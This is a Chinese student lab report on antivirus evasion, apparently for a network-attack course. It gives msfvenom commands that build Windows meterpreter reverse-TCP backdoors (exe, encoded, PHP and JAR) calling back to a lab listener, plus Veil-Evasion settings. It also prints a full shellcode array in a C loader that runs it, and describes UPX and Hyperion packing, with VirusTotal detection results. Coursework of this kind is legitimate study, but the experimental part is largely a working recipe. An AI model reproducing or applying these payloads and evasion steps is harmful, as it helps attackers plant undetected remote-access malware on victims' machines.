20165218 《网络对抗技术》Exp3 免杀原理与实践

Exp3 免杀原理与实践

任务一：正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用shellcode编程等免杀工具或技巧

使用VirusTotal或Viscan网站扫描后门程序

• VirusTotal
  
  

• Viscan
  
  

免杀工具1——msfvenom使用编码器

- 使用msfvenom命令生成exe文件

msfvenom -p windows/meterpreter/reverse_tcp -e x86shikata_ga_nai -b '\x00' LHOST=192.168.72.130 LPORT=5218 -f exe > test1.exe
// -e 选择编码器
// -b payload中需要去除的字符，该命令中为了使'\x00'不出现在shellcode中，因为shellcode以'\x00'为结束符

不仅没有免杀，甚至还变多了

• 迭代多次生成exe文件

msfvenom -p windows/meterpreter/reverse_tcp -e x86shikata_ga_nai -i 15 -b '\x00' LHOST=192.168.72.130 LPORT=5218 -f exe > test2.exe
\\-i 设置迭代次数

没什么差别

1. 杀软厂商研究的是编码器本身，shikata_ga_nai总会有解码(decoder stub)部分需要加入到exe中，只要盯住这部分就可以了。

1. msfvenom会以固定的模板生成exe，所有它生成的exe，如果使用默认参数或模板，也有一定的固定特征。一般来说杀软厂商会针对其使用的模板来生成特征码，一劳永逸地解决所有msfvenom生成的恶意代码。如果使用msfvenom免杀，就要使用原生的模板。

生成php文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.72.130 LPORT=5218 x > test4.php

生成jar文件

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.72.130 LPORT=5218 x > test3.jar

免杀工具2——Veil-Evasion

什么是veil

去百度了一下veil，居然没有词条，老师写的教程里说与metasploit类似，也是一个免杀平台，查了下metasploit，是个开源的安全漏洞检测工具，通过它可以地获取、开发并对计算机软件漏洞实施攻击，本身附带数百个已知软件漏洞的专业级漏洞攻击工具，其初衷是打造一个攻击工具开发平台。那我就按照这个来理解veil-evasion吧……

实验过程

• 命令行veil打开平台

• 依次输入如下命令进行配置

use Evasion
use c/meterpreter/rev_tcp.c     //设置payload
set LHOST 192.168.72.136
set LPORT 5218                  //设置回连的ip和端口
generate                        //生成文件

• 然后输入名字veilC2018，生成完毕后可以分别看到c语言生成的程序的源码和可执行程序的位置

• 放入VirusTotal检测
  
  

好像没有刚刚那么惨烈，但还是有将近一半的杀软找到

免杀技术3——C语言调用Shellcode

• 生成一段shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.136 LPORT=5218 -f c

• 将shellcode数组写成一个.c程序

unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x48\x88"
"\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

Kali Linux图形界面下的新建空白文档我实在是看不懂@-@，用touch text建了改的名（其实可以直接touch [filename]，开始从网上查还以为text也是命令的一部分，哎 学艺不精）

• 编译成可执行文件

i686-w64-mingw32-g++ met5218.c -o met5218.exe

• VirusTotal检测
  
  

• 放到主机被无情删除

• 其实回连不成功，那为什么会被删除 哭了

免杀技术4——加壳

什么是加壳

外壳保护技术，用户执行的实际上是这个外壳的程序，而这个外壳程序负责把用户原来的程序在内存中解开压缩，并把控制权交还给解开后的真正的程序，由于一切工作都是在内存中运行，用户根本不知道也不需要知道其运行过程，并且对执行速度没有什么影响。如果在外壳程序中加入对软件锁或钥匙盘的验证部分，它就是我们所说的外壳保护了。

在中文中的壳一般包含两种类型：压缩壳和加密壳。但在英文中确实两个不同的概念，与这两种类型对应的英文名词为：Packer和Protector。

压缩壳

对源程序代码进行压缩后，重新封装并生成可执行文件的一种壳。压缩壳的压缩算法一般采用已经较成熟的引擎，如aPLib、JCALG1等。

对于一些比较流行的压缩引擎后压缩壳，杀毒软件会针对这些壳专门开发与之对应的解压缩引擎，对加壳后的软件解压缩后进行杀毒，因而通常情况下使用压缩壳难以达到免杀目的。

加密壳

加密壳相比压缩壳的功能要复杂的多，加密壳侧重在软件保护上，压缩重新体积不是其主要任务，通常加密壳会将程序代码混淆加密，已达到防破解的目的，一些功能强大的加密壳可以给程序添加一些额外功能，包括限制软件使用时间，给软件添加注册功能等。

操作步骤

压缩壳

upx met5218.exe -o met5218_1.exe

加密壳

cp [filename.exe] /usr/share/windows-binaries/hyperion/
cd /usr/share/windows-binaries/hyperion/
wine hyperion.exe -v [filename.exe] [new_filename.exe]

---

不能回连的原因？？

1.是否因为没有头文件

看到群里有人说，加了头文件解决了于是尝试了一下，问百度func函数

这个是编译器支持的,不要头文件的

1.不是所有的编译器都支持(如VC2008,不支持__FUNC__)

2.可能用法的问题(这两个都是字串)

编译的时候并没有报错，也就是说编译器没问题，不过还是试着加了个#include <stdio.h>，但最后还是无法回连

2.用其他操作系统编译呢？

尝试了用Ubuntu编译，没用，难过

后来大奕说用主机下codeblocks编译，生成的.exe可以回连，试了试还是不行……

3.难道是两台主机网络连接有问题？？

没问题，ping通的

4.端口问题吗？

更换端口重新做了一遍，没什么变化

5.开始突发奇想了，上个实验中的后门程序能用吗？

可以使用的，仅仅加压缩壳或者仅加加密壳以后也都可以

但是压缩壳->加密壳，不行；后来不死心先做了加密壳又做了压缩壳竟然能够回连了，就是要等一段时间，所以我猜测先压缩后加密是不是因为我时间等的不够，那之前的半手工注入shellcode是不是也是时间不够？

操作	是否可回连	是否被查杀
0原后门程序	是	是
1压缩壳	是	是
2压缩壳+加密壳	否	否
5加密壳	是	是
6加密壳+压缩壳	是	是

等了5分钟，“压缩壳+加密壳”没连上，看来是真的连不上了

基础问题回答

杀软是如何检测出恶意代码的？

• 特征码扫描
• 启发式扫描
• 虚拟机技术
• 主动防御技术
• 自免疫技术
• ……

免杀是做什么的？

使恶意代码逃过杀毒软件的查杀

免杀的基本方法有哪些？

• msfvenom直接生成
• msfvenom编码一次
• msfvenom多次编码
• veil-evasion
• 半手工生成shellcode
• 加壳（压缩壳，加密壳）
• ……

开启杀软能绝对防止电脑中恶意代码吗？

当然不行，即便是开始直接生成的后门程序测试中也有杀软找不出来呢。

实验总结与体会

体会就是，好难啊，头发都要掉没了。为什么我的杀软这么好用呢？尝试了很多方法也没法实现，推测还是shellcode出问题了